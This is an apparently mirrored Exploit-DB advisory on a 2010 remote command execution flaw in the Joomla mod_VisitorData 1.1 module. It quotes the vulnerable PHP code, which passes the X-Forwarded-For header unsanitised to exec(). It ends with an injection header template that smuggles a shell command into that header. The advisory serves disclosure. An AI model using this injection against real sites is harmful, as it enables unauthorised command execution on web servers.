Joomla! Component mod_VisitorData 1.1 – Remote code Execution - 体验盒子

作者： Chip d3 bi0s

日期： 2010-05-11

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12574/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

Joomla Module Camp26 Visitor Data 1.1 Remote code Execution

============================================================

- Discovered by : Chip D3 Bi0s

- Email : chipdebios@gmail.com

- Date : 2010-04-28

- Severity : 9/10 (CVSS scored)

-------------------------------

Module Camp26 Visitor Data For Joomla 1.5.x

Version : 1.1

Type : Non-Commercial

Created by : Denny Setiarika Pirhadi - camp26.biz Team

License : GPLv2.0 - http://www.gnu.org/licenses/gpl-2.0.html

Created on : 02 May 2008

Latest Update : 26 December 2008

URL : www.camp26.biz

I. BACKGROUND

Visitor Data Module shows the visitor's data on your live site (Their IP, Proxy(if used),

Country, ISP, Browser, Operating System).

Based on GeoIP (www.maxmind.com).

II. DESCRIPTION

Some technical issues were originally published in the following post:

http://elotrolad0.blogspot.com/2010/05/modvisitordata-joomla-remoce-code.html

with whom originally exploit the error, as r0i like to thank, who Realizing the

proof of concept.

III. ANALYSIS

The bug is in the following files, specifying the lines

file:

/modules/mod_VisitorData/tmpl/default.php

line:

[47] if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {

[48] $whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";

[49] }

[50] else{

[51] $whois ="whois " . $_SERVER['REMOTE_ADDR'] ." | grep netname";

[52] }

[53]

[54] $isp_user = exec($whois);

explaining the code: what to do is get our ip, and if it passes through any proxy other

than q are also other issues in the code as the country of connection, image, browser,

operating system. As can be seen to see if it goes through a proxy using the exec (),

line 54, reason that allows you to run remote commands.

If the conditional check whether to park in the header HTTP_X_FORWARDED_FOR,if this

happens take this value otherwise take REMOTE_ADDR, 2 may be present at one time.

command to run only can we add X-Forwarded-For in the header to take this value and

run exec () which is what we are interested.

IV. EXPLOITATION

You have to add

X-Forwarded-For:;[command-here];1

+++++++++++++++++++++++++++++++++++++++

[!] Produced in South America

+++++++++++++++++++++++++++++++++++++++